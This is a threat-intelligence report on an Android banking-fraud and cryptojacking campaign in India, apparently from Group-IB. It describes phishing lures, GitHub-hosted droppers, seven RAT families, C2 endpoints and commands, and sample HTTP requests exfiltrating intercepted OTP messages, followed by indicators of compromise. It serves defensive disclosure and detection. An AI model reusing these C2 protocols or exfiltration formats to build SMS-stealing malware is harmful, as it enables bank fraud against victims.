Introduction
Group-IB’s Threat Intelligence team has uncovered a sophisticated Android malware campaign that has been systematically targeting India’s financial services sector since July 2025. It is orchestrated by a financially-motivated threat cluster tracked by Group-IB as CyberDakait. The main goal of the campaign is the distribution of Android malware to conduct cryptojacking and elaborate banking fraud.
The malicious samples identified in this research comprise 7 distinct malware families, each deployed through coordinated smishing and vishing campaigns that lure victims into installing malicious APKs by impersonating legitimate bank representatives. They are designed to harvest sensitive information including bank mobile application credentials, credit card details, outstanding balances, through sophisticated overlay attacks.
The malicious applications are commonly hosted on GitHub repositories to maintain legitimacy and evade security controls, where the initial APK functions as a dropper that downloads and executes the main payload alongside a cryptocurrency mining module, enabling the threat actors to generate revenue through both direct financial theft and unauthorized cryptocurrency mining on infected devices.
Key discoveries
- Victims are strategically lured through coordinated smishing and vishing campaigns impersonating bank representatives.
- A total of 11 Indian banking institutions and 2 government programs have been observed to be impersonated by the operators of this campaign.
- The identified application asks for sensitive details like mobile banking app login credentials, credit card details including front & back photos, outstanding balance.
- The discovered APK is commonly hosted on GitHub, and acts as a dropper for the main payload, as well as a crypto-mining module.
- Identified 7 different malware families; each family utilizes distinct infrastructure for C2 communication and data exfiltration – Firebase, Telegram bots, remote backend.
- Additionally, a GitHub repository was discovered hosting an administrative controller APK for one of the malware families, allowing threat actors to track victims and issue C2 commands.
- A total of at least 17,960 compromised devices has been identified across all exfiltration channels combined.
- Group-IB analysis revealed a total of 7.6 million SMS messages intercepted from victim devices.
- Threat actors utilize Android-based mobile devices for malware development and leverage a dedicated administrative controller APK to monitor victims and issue C2 commands.
Who may find this blog interesting:
- Cybersecurity analysts and corporate security teams
- Malware analysts
- Threat intelligence specialists
- Computer Emergency Response Teams (CERT)
- Law enforcement investigators
- Regional Cyber Police teams
Group-IB Threat Intelligence Portal: CyberDakait
Group-IB customers can access our Threat Intelligence portal for more information about CyberDakait and malware profiles detailed in this blog:

Campaign Description
Based on public disclosures from individuals targeted by this scheme, victims frequently report receiving fraudulent phone calls concerning a “Credit Card Protection Plan” (CPP) shortly after their new credit cards are issued. This campaign has been active in India since at least January 2025, based on documented victim reports, and shows no signs of slowing. The consistency of scripts, phishing infrastructure, and independent victim reports suggests an organized operation, though no specific threat group has been formally attributed.
The caller poses as a bank representative and claims a CPP has been automatically activated, with charges ranging from roughly $5 to $150 unless the plan is “deactivated” immediately. Victims are then directed to a phishing website and prompted to download a malicious APK under the guise of completing the deactivation.

Figure 1: Example of a public victimβs post about a CPP fraud scheme. Screenshot from a finance forum.
From phishing link to malicious download: The attack chain
The following screenshots show how the scammer sends a WhatsApp link to the phishing page, claiming it’s needed to cancel the Card Protection Plan. If a victim asks how to perform the cancellation, the scammer directs them to open the link and enter their details β a pretext to lure them onto the phishing page and harvest their information.

Figure 2: Examples of phishing messages with links to phishing pages
Interacting with any call-to-action button on the phishing page β such as “Login Now,” “Apply Now,” or “Activate Protection” β triggers an automatic, silent download of a malicious APK file hosted on a GitHub repository, without presenting the user with an explicit download prompt.
Distribution of APK files through Github accounts
Analysis of the identified phishing sites uncovered numerous GitHub-hosted repositories serving hundreds of malicious APKs, impersonating different financial institutions β a tactic that lends credibility to the payload and complicates takedown efforts.

Figure 4: Example of Github links on phishing website html page.

Figure 5: Example of GitHub repositories being abused to host malicious APK files.
Once installed on an Android device, the application employs a deceptive update mechanism; it displays what appears to be the app’s own Google Play Store update page, but instead of applying an update, it silently downloads and installs an entirely different application in the background. This technique deceives users into believing a routine update is taking place, when in fact a separate, unrelated app is being covertly installed on their device.

Figure 6: Example of fake Google Play update page.
The application also prompts the user to disable battery optimization, a request framed as necessary for normal functioning but actually intended to prevent the operating system’s background restrictions from terminating the malware, allowing it to continue running persistently in the background.

Figure 7. Additional permissions requested for persistence.
The purported process for deactivating the Card Protection Plan unfolds in four stages, each designed to progressively extract sensitive financial and personal data:
- Initial Data Capture: Users are first prompted to enter their credit card number, expiry date, and CVV.
- KYC Pretext: Framed as a mandatory Know Your Customer (KYC) verification step, the page then requests the user’s Net Banking (internet banking) login credentials and the grid numbers printed on the back of the card.
- Identity Verification Stage: The flow redirects to a section requesting further personal identifiers, including the registered mobile number, PAN number, and date of birth.
- Document Upload: In the final step, users are asked to upload a photograph of the front of their credit card, ostensibly to complete verification.
Each stage is designed to appear as a routine, incremental part of a legitimate deactivation process, while cumulatively harvesting all the data needed to fully compromise the victim’s card and identity.
Victimology & Impact
Group-IB analysts identified 2,364 unique victim devices, based on device UUIDs extracted from 2,805 “new app installation” notification messages. The discrepancy between total messages and unique devices reflects repeat installation events on the same device, likely resulting from re-installation, testing, or persistence attempts by the threat actor.

Figure 9. Monthly distribution of newly identified unique victims.
Our analysis also extended to another data exfiltration channel using Firebase storage. By examining this exposed Firebase infrastructure, we identified an additional 15,596 compromised devices, which raises the combined total of confirmed victims to 17,960 across both vectors.
Our analysis showed that a total of 7,611,443 messages were intercepted from victim devices over the course of the campaign. Intercepted messages included one-time passwords (OTPs), bank transaction notifications, and other sensitive account-related communications, forwarded from infected devices to the attacker-controlled Telegram bot infrastructure and firebase in near real time.
Additionally, messages were discovered containing compromised card data, such as card numbers, grid values, expiration dates, and CVV codes, alongside sensitive KYC information including full names, mobile numbers, dates of birth, PAN card details, and Aadhaar numbers.

Figure 10: Screenshots observed showing victim card details.
Case Studies:Β Credit Card Protection Fraud cases in India
In multiple reported incidents, victims lost a cumulative total exceeding $30,500 after receiving fraudulent calls regarding credit card protection plans over this period.
Other examples are shown in the screenshots below from mainstream news media reporting, highlighting the prevalence of this scheme.
Other examples from Facebook and Reddit:
On popular social media platforms like Reddit and Facebook, numerous users came forward to recount strikingly similar scam experiences. The common social engineering tactics used included creating immediate pressure to act and leveraging sophisticated domain names to gain user trust. Attackers typically targeted victims within 24 hours of them receiving a new credit card.
Technical Analysis
Group-IB analysis of the APK files began with a sample exhibiting cryptocurrency mining functionality, known as d-miner, which drops an RAT during its execution. This raised the question of how to properly classify the resulting Trojans. At first, we assumed we were looking at the evolution of a single family, which we tracked as GhostBat. However, further research led us to another report describing an almost identical chain of behavior, publicly known asΒ GhostGrab. Our subsequent analysis revealed that GhostGrab is in fact an older version of GhostBat, and we therefore track them as a single family.
Shortly after, a fourth report surfaced, describing a similar chain involving a mining component paired with a RAT. In this case, however, d-miner was found distributing either BTMOB RAT or the SMS/Phone call stealer RAT. This led us to suspect that the d-miner dropper may in fact be used to distribute a variety of different Trojans, although we were unable to reach a definitive conclusion as to whether they all belong to the same threat actor.
This prompted us to take a closer look at each sample individually. All RAT identified within this cluster share the following capabilities:
- SMS interception and exfiltration
- SMS forwarding and sending
- Phone call forwarding
- Credit card data theft via phishing overlay
As previously noted, the victim installs a malicious APK containing a cryptocurrency mining component. The miner uses XMRig to exploit the device’s resources, relying on Firebase infrastructure for monitoring and control. It employs several persistence techniques to ensure continuous operation, including wake locks, a silent audio loop exploit, and a foreground service notification channel. The payload is downloaded from threat-actor-controlled infrastructure, encrypted using AES/CBC/PKCS5Padding, and connected to a dedicated mining pool upon execution.
More details on how d-miner operates can be found in the report by other vendors referenced above. Below you can find an overview of the full infection chain, from initial compromise through to the execution of all malware components.

Figure 13. d-miner infection chain.
Based on our analysis, we decided to classify the malware observed in this campaign into the following families:
- cyb3rx
- appkjl
- godz
- d-passive
- d-shine
- GhostBat (also known GhostGrab)
- tenxen
Rather than providing an in-depth technical analysis of each malware family we identified, we will instead walk through the reasoning behind treating them as separate families. It is worth noting, however, that during our research we discovered the development environment for GhostBat.
GhostBat developing environment
In 2024, developers of the GhostBat family shared screenshots in a Telegram chat, providing insight into their operational workflow. These images confirm that the threat actors utilized Android devices to both develop and compile their malicious payloads which differs from traditional malware development practices in desktop environments.

Figure 14. Shared screenshots from malware developer showing Android development environment.
The screenshots reveal several tools and file structures used in this process, including:
- AIDE – IDE for Android
- MT manager – APF file editor
- Acode – Code editor for android
- Apktool M – Android APK file editor
- Firebase app – most likely for Firebase c2 configuration
- A folder named AndroidIDEProjects and presence of .java files in the phone memory
Another interesting finding from our research was that one of the repositories used to distribute the cyb3rxβs malware contained an APK file responsible for managing infected devices.
Cyb3rx admin controller apk
During our investigation, we discovered a GitHub repository (ranidevisingh901-debug/gsafsdfsdf) containing an APK that functions as an administrative controller for the Cyb3rx malware family. Threat actors utilize this tool to monitor victim data and issue Command and Control (C2) instructions.

Figure 15. Cyb3rx admin controller apk.
The controller communicates via a hardcoded `api_base_url`, which are slightly different based on the phishing theme, for example, `hXXp://64.89[.]163.3/idfc/1/api/` or `hXXp://64.89[.]163.3/pnb/1/api/`. Its core administrative functionalities include:
- SMS Forwarding Management: Enables or disables global SMS forwarding by sending a JSON object containing an enable (boolean) and number (string) to api_base_url/update-config.php.
- Device Management: Allows operators to remove a device from the dashboard using its device_uuid via api_base_url/delete_device.php.
- Phishing Data Collection: Retrieves captured credit card information from phishing forms. The request targets get_device_data.php with parameters for device_uuid, data_type, and a record limit, using this form: api_base_url/get_device_data.php?device_uuid=[UUID]&data_type=[pm_kisan_details / idfc_banking_flow]&limit=50
- SMS & Notification Monitoring: Provides visibility into intercepted SMS messages and device notifications. The request is sent to “get_device_data.php” in this form:
api_base_url/get_device_data.php?device_uuid=[UUID]&data_type=[SMS / Notification]&limit=100
- C2 Command Execution: An interactive interface supports various commands, including call_forward_activate, call_forward_deactivate, set_sms_forwarding, send_sms, custom_ussd, and get_device_info. The request is sent to api_base_url/send_command_to_device.php with json object contains these keys: “device_uuid”, “command_type” and “command_data”
Family Identification
While these samples share the same packer, phishing themes, and RAT capabilities, they differ in their network communication, database structure, and Telegram messaging formats and show no direct connection to one another. Together, these differences confirmed our decision to treat them as distinct families.
There are 3 channels that are commonly used by families: Telegram, Firebase and Remote server. The main purpose of network communication are device check-ins, SMS exfiltration, command and control.
Device Check-In
When first launched, some families collect basic device information and register the infected device with the operatorβs infrastructure. This allows the threat actor to identify and track active victims. As shown in the table below, families differ not only in which channel they use for registration, but also in what data they collect and how they format it β further evidence of independent development.
| Family | Channel | Check-in msg |
| cyb3rx | Telegram | π New App Installation \(rto\)
π Device Details: β’ Model: Vivo V2050 β’ Android: 13 β’ UUID: 78cd172d2fbc\.\.\. πΆ SIM Information: β’ Slot: 0, Carrier: Vi India, SubId: 5, Number: \<redacted> π 2026\-01\-10 14:44:02 GMT\+05:30 |
| godz | Firebase | {
“device”: “string”, “d_name”: “string”, “uesr_serial”: int } |
| d-passive | Firebase | {
“phone”: “string”, “sim1”: “string”, “sim2”: “string”, “model”: “string”, “battery”: int, “status”: “string”, “last_seen”: int, “installedAt”: int, “androidVersion”: “string”, “sdk”: int, “cpuArch”: “string”, “rootStatus”: false, “ipAddress”: “string”, “storageMB”: int, “deviceId”: “string”, “serviceProvider”: “string” } Or { “androidVersion”: “string”, “brand”: “string”, “fcmToken”: “string”, “manufacturer”: “string”, “model”: “string”, “simOperator”: “string” } |
| GhostBat | Telegram + Firebase | π± NEW DEVICE CONNECTED π±
π Device Information π ================================ β’ Model: A142 β’ Android: 16 β’ Status: active β π SIM Card Details π ================================ πͺͺ SIM1: <redacted> πͺͺ SIM2: Not Found β³ TimeStamp: 03/02/2026 | 10:06 am ================================ β—————————————– “1b3d3ddba712ff3f”: { “androidV”: “string”, “battery”: “string”, “checked”: boolean, “cpu_arch”: “string”, “deviceId”: “string”, “ip_address”: “string”, “isRoot”: boolean, “isSdCard”: boolean, “joined”: “string”, “like”: boolean, “mobNo”: “string”, “modelName”: “string”, “sdkV”: “string”, “service_provider”: “string”, “sims”: [ { “carrierName”: “string”, “phoneNumber”: “string”, “simSlotIndex”: “string” } ], “status”: boolean, “storage”: “string” }, |
| tenxen | Firebase | “DeviceId”: {
“Battery”: “String”, “Brand”: “String”, “DeviceId”: “String”, “Status”: “String”, “id”: int }, |
SMS Exfiltration
All families intercept incoming SMS messages and forward them to the operator. However, the channel used and the format of the exfiltrated data differ significantly between families. Some send messages to a Telegram bot, others post to a remote HTTP server, and others write directly to a Firebase database node. The structure of the data β field names, data types, and nesting β is inconsistent across families, which would be unlikely if they shared a single active development branch.
| Family | Channel | Format |
| cyb3rx | Telegram | π© Incoming SMS Alert
βββββββββββββββββββββ π± Device: ONEPLUS LE2101 π UUID (Short): 93ba3e35 π€ From: VM-INPOST-G π Time: 2026-07-23 18:59:50 πΆ Received on SIM 1: airtel (<redacted> ) π¬ Message: Delivery attempt for PARCEL No: <redacted> is Successful on 23-07-2026 18:59:48 – IndiaPost |
| appkjl | Remote Server | POST /api/add_sms.php HTTP/1.1
Host: <c2 address> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: <payload length> device_id=a93f7c21&sms=%7B%22sender%22%3A%22%<redacted> %22%2C%22body%22%3A%22Your+OTP+code+is+482991.+Do+not+share+this+code+with+anyone.%22%2C%22date%22%3A1767462082000%7D |
| godz | Telegram | π From: <redacted>
π¬ Message: Your OTP code is 482991. Do not share this code with anyone. π± Device Name: SAMSUNG SM-G991B |
| d-passive | Firebase | {
“id”: int, “address”: “string”, “body”: “string.”, “date”: long, “type”: int, “read”: int, “simSlot”: int, “subId”: int, “uploadedAt”: long } Or { “sender”: “string”, “senderNumber”: “string”, “receiverNumber”: “string”, “title”: “string”, “body”: “string”, “timestamp”: “string”, “uniqueid”: “string” } |
| d-shine | Remote server | POST /message.php HTTP/1.1
Host: <domain>.com Content-Type: application/x-www-form-urlencoded User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; SM-G991B Build/TP1A.220624.014) msg=Your+OTP+code+is+482991.+Do+not+share+this+code+with+anyone.&mobNo=%<redacted> &phone=%<redacted> |
| GhostBat | Firebase | “8”: {
“dateTime”: “string”, “id”: int, “message”: “string”, “sender”: “string”, “type”: “string” }, Or “1769575143783”: { “dateTime”: “string”, “id”: long, “message”: “string”, “receivedOn”: “string”, “sender”: “string”, “type”: “string” }, |
| tenxen | Firebase | “-OqEYnCVabCsnsmXNhmu”: {
“body”: “string”, “receivedDate”: “string”, “sender”: “string” }, |
Command and Control
Each family supports its own distinct set of C2 commands delivered through its respective channel. The naming conventions, the number of supported commands, and their functionality all differ across families. For example, while most families support some form of call forwarding and SMS forwarding, the command names used to trigger these actions vary β suggesting each family was written independently rather than forked from a shared command handler.
| Family | Channel | CommandsΒ |
| cyb3rx | Remote server | * call_forward_activate
* call_forward_deactivate * custom_ussd * get_device_info * send_sms * set_sms_forwarding |
| appkjl | Remote server | * scsms
* fcall * forwarding |
| godz | Firebase | * forward status
* call forward * reset * send message * forward off |
| d-passive | Firebase | * ping
* lease_nudge * start_core_service * stop_core_service |
| d-shine | Remote server | * hello
* helloo |
| GhostBat | Firebase | * checkLiveness
* callForward * smsForward * KeyLogger * sendSms |
| tenxen | Firebase | * checkCallForwarding
* enableCallForwarding * disableCallForwarding * forwardSms |
Rationale for Malware Classification
Although we have classified the identified malware into seven distinct families, they are unified under the ‘CyberDakait’ threat cluster. We group these diverse families into a single cluster because they share a cohesive operational strategy:
- Unified Campaign Objectives: All families are employed in identical, coordinated financial fraud campaigns targeting Indian banks and government apps.
- Common Phishing Infrastructure: They leverage highly similar social engineering tactics, phishing domains, and GitHub-hosted distribution channels to deliver payloads.
- Shared Functionality: Each family features an overlapping core capability set, including XMRig-based cryptojacking and RAT modules for SMS and call interception, demonstrating a consistent intent to steal sensitive financial credentials.
While these shared behaviors confirm a common origin within the CyberDakait cluster, significant technical divergences in their C2 communication protocols, database schemas, and telemetry formatting indicate that they are likely separate projects or sub-projects. Treating them as unique families provides more granular intelligence, enabling defenders to create precise detection rules tailored to the specific network traffic and behavioral patterns of each individual strain.
Conclusion
CyberDakait represents a mature fraud cluster that has successfully established itself as a significant risk to India’s financial services sector. Their combination of technical sophistication, operational persistence, and market specialization makes them a high-priority threat requiring coordinated defensive measures. The group’s continuous operations, extensive infrastructure investment, and evolving malware capabilities demonstrate their commitment to long-term operations in the Indian financial sector.
Organizations in India’s banking and credit card industries should prioritize defense against Android-based threats, implement robust customer education programs about impersonation scams, and maintain heightened awareness of the specific tactics, techniques, and procedures employed by this persistent adversary.
The proliferation of malicious APKs is accelerating. Threat actors often pair convincing phishing infrastructure with trusted, legitimate platforms like GitHub to distribute payloads at scale.
Group-IB Threat Intelligence Team have reported all identified profiles and repositories linked to the CyberDakait cluster and phishing campaigns from this research to GitHub;Β they have since been deactivated. If you come across similar accounts, we encourage you to report them as well β collective efforts are key to addressing such threats.
Recommendations
For End Users
- Never click links in unsolicited messages or download suspicious applications outside of official app stores.
- Verify all banking calls by hanging up and calling the official, verified customer care number listed on the bank’s website.
- Never share sensitive information like credit card details, CVV, or grid numbers on any website or application unless you initiated the transaction and trust the source.
- Carefully review the requested permissions when installing a new application, and be extremely cautious when an app requests Accessibility Service access or permission to read SMS messages.
- If you believe you have been defrauded, contact your bank to freeze immediately any bank accounts that your device has accessed.
Frequently Asked Questions (FAQ)
What is the "Credit Card Protection Plan" (CPP) fraud campaign?
This is a sophisticated Android malware campaign targeting the Indian banking sector. Attackers pose as bank representatives and convince victims that a protection plan must be deactivated to avoid charges, leading them to a phishing site that installs malicious APKs.
What are the primary capabilities of the malware?
Once installed, the malware functions as a Remote Access Trojan (RAT). Capabilities include SMS interception/forwarding, phone call forwarding, and credit card data theft via phishing overlays.
What is the "cryptojacking" component?
The malware includes a cryptocurrency mining module that downloads and executes an XMRig payload. This module exploits device resources to mine cryptocurrency for the attackers, often causing significant battery drain and device overheating. Read more about cryptojacking in the Group-IB Knowledge Hub.
What is the role of the initial APK in the infection chain?
The initial APK acts as a dropper. It utilizes a deceptive “update” mechanism by displaying a fake Google Play Store page to the victim. While the user believes they are updating the app, the dropper silently downloads and installs a separate, malicious payload (the main trojan or mining module) in the background.
What happens if I download the malicious APK?
The app silently installs itself, often masquerading as a system update. It then harvests sensitive information, including banking credentials, credit card details, and SMS messages, while also performing unauthorized cryptojacking and potentially granting attackers remote access to the device.
What should I do if I suspect my device is infected?
Immediately contact your bank to freeze any accounts that your device has accessed. Only download applications from official app stores like the Google Play Store, and always verify banking-related calls by hanging up and calling the bank’s official customer care number.
Why were the samples categorized into seven distinct malware families rather than one?
Despite sharing similarities in the packer, phishing themes, and RAT capabilities, the samples were classified as distinct families because they exhibit inconsistent network communication patterns, unique database structures, and varying Telegram messaging formats. These disparities suggest they were developed independently rather than being forks of a single, shared codebase.
Group-IB Fraud Matrix

Indicators of Compromise (IOCs)
Phishing domains:
81service[.]icu 81service[.]in Imanagec[.]online applypointguides[.]in cancelcardprotection[.]online cancelcpservice[.]in cancelmyservice[.]in cancelservice[.]in cardforex[.]icu cardplan[.]online cardprotections[.]in cardsprotection[.]in cardsprotection[.]online careidf[.]online carep[.]online cpmanaged[.]in cppmanage[.]in deactivatecpplan[.]in deactivatecpservice[.]in hamzaansari1612-ux[.]github[.]io hdmanage[.]online icppuser[.]in icppuser[.]online icservice[.]online icuser[.]online idcare[.]in idfcare[.]in idmanagecp[.]online idservice[.]in imobile[.]services imobilelite[.]in imobileservices[.]online indeemanage[.]in indemanage[.]in indiuser[.]com inducare[.]online managebworld[.]com managecare[.]in managecare[.]online managecp[.]co[.]in managecp[.]com manageici[.]com manageinsurances[.]online manageprotection[.]in manageprotectionplan[.]in manageprotections[.]com myicuser[.]in myinsuranceservice[.]in mypnhelp[.]online mypolicyservice[.]in pmanage[.]online pncare[.]online policydeactivate[.]in protectcc[.]online protectionmanage[.]online rohansingh253641-spec[.]github[.]io secureici[.]online servicecpp[.]in serviceic[.]in serviceici[.]in serviceidf[.]in serviceidf[.]online servicescard[.]online serviceshelp[.]online suraj527526-cmyk[.]github[.]io www.icppuser[.]online www.icuser[.]online www.protectcc[.]online www.secureici[.]online www.servicecpp[.]com www.serviceic[.]com
APK files (SHA256):
- cyberx 0ad853b29a7b3677488018061b109bba59b1a518c8f33b48de31ec532be69856 1e60421e83a317cfbfce980fefa926a847964bcc7b047908db65161148d0f624 2fbde057c22b6cb517116d6c797c3474de2f4d3bda09037a9f043a6ad843982f 3b64eeacacb94d70d498988fe8c6dcc25b133bcaea37fb69dc6f0cc26bde9921 5a0cd09adb09a79071a85edc931e02c8d565d6cb7cb58e5b0bffd866e6a2ffb4 5f09a31e28b755aab00fbf3669a7369d1205ac5dea85f0b328cb7cd76472e456 7e631e9f7791f4648f776419c020ce6c33071c3e195669dd473f1423f098d39d 47ae095fd9e5143798a70805a23eb294fc072170dac19c1fa112beca186d844a 65e64e65678f849871257dca43fccf8941ee0ee35fe6b72e86a34fe84e752e68 80de49a3bd719d62f3b2f24d584a03e3fff3e6ac46ad8bea3c04c8a09071ed3a 431ae9a0569c52de8fb5abffcf12919b8d685a879f4e777602ae490dbc2a6baa 902803b40aa30d12e60a37680b113d5fc7c79695b7e1b72904fa7de06cf9b27b b2bfa29467c1979c044259d4ffe31fc32aa6ef33939779bd3b1ce6bedb44dea9 b332fa9c08020fbbc5503091b4f4a61ee66a05a0a76abf9a53db9f3d80c4862a c9ead89d1bcb09923e1057bb4617726867154d36932ed1c2f82c2466bf11934c c36d2b4480034a409f33cdef8d7c3501e75f14d2c5bd9a914a65fd7f3c47d74a c6708166e0a6bf3484200fd6dd1569d89e81c36ffd76ff2ab5820b06fd2d5b54 cb86017411708eb6e5384fc0288b0ec4692ea45ef38586b7c67f99148e1117c3 cf32addd82960501859f205b0fca8c0b51a40857f71e4a2aee8d70b2433319b7 cf66a1acebd878d85345377be53ac0b241f517253811ec969c8ff9c751151424 dfa02773f97f552deb7ff04f5c598a81be4d236fe33adca2a47551485a3aeb2a - godz 9e7cdafcb473d28e134f87d758839265e97b03cf260a186d0e21e1de8aeb7fa8 1b9052d85e12573b4f64f6a47f64803007b19990def1bc62a865de00149a825e 5c0f8bca492c9ee79d6bbd7a532945514670321a605002987f69e3331110e447 53f9fcf3a6fdc59e9a28fd129a32064d78628289eac72d47f53d63cbc434de41 - ghostbat 43b217184f7765c699fd887fe22c07c7656483dc088e0214587a4890b2b6aee6 34b75b78b6c575c8a9e71f712be9d90aa35a3a04b48839f86282678107f7876d - d-passive.ExampleAdmin 1bfaaa9aed67552a2c368df3f264ef6878a4e7b43468546db77f095517b15b56 - d-passive.TradeSignals 04b35b0c199ef8a13d6ac18dfc6df2ea66a8ed5b6e464dc3a7db0839093882bd - tenxen d72335c0cbbcef002274c1a5087702ed4a91d91a79279104aaf111a33984ae5f 4a17171155997754ad735b460be67e344c5939d9cff498ce1d95bf554b93fc1b - d-shine 3b6c2dcba751d1ea05b83fd609e13423dff575705920a1c835ff0d5f92403ffc - appkjl 555e0506979e0b26e4318c0f7dfff0e3dc5c81bb7e3925f2cadd1bdeb843570f
C2-addresses:
64.89.163[.]3 78.159.156[.]74 144.31.244[.]184 46.151.182[.]28 ws://64.89[.]163.3:8082 64.89.163[.]4 aptabase[.]fud2026.xyz:8443 accessor[.]fud2026.com fud2026[.]com pool.fud2026[.]com:9000 pool-proxy.fud2026[.]com:9000 install-update[.]xyz app2-update2[.]site update-app[.]online
Malicious Github accounts
muhaamad852-netizen gopalmalo36374-beep rahul3555899-prog asdg18982-netizen ranidevisingh901-debug arushkumar8012-hub dapu72979-png/bdtch ks3232896-web/endyyee uchianawitachizon-prog cybercodex34-glitch nobitaxnobi00-dotcom ankit2560777-gif sanishaw308-sudo DeactiveCpp4u malikchikku11-web t2118417-max
DISCLAIMER: All technical information, including malware analysis, indicators of compromise and infrastructure details provided in this publication, is shared solely for defensive cybersecurity and research purposes. Group-IB does not endorse or permit any unauthorized or offensive use of the information contained herein. The data and conclusions represent Group-IBβs analytical assessment based on available evidence and are intended to help organizations detect, prevent, and respond to cyber threats.
Group-IB expressly disclaims liability for any misuse of the information provided. Organizations and readers are encouraged to apply this intelligence responsibly and in compliance with all applicable laws and regulations.
This blog may reference legitimate third-party services such as Telegram and others, solely to illustrate cases where threat actors have abused or misused these platforms.
This material is provided for informational purposes, prepared by Group-IB as part of its own analytical investigation, and reflects recently identified threat activity.
All trademarks referenced herein are the property of their respective owners and are used solely for informational purposes, without any implication of affiliation or sponsorship.























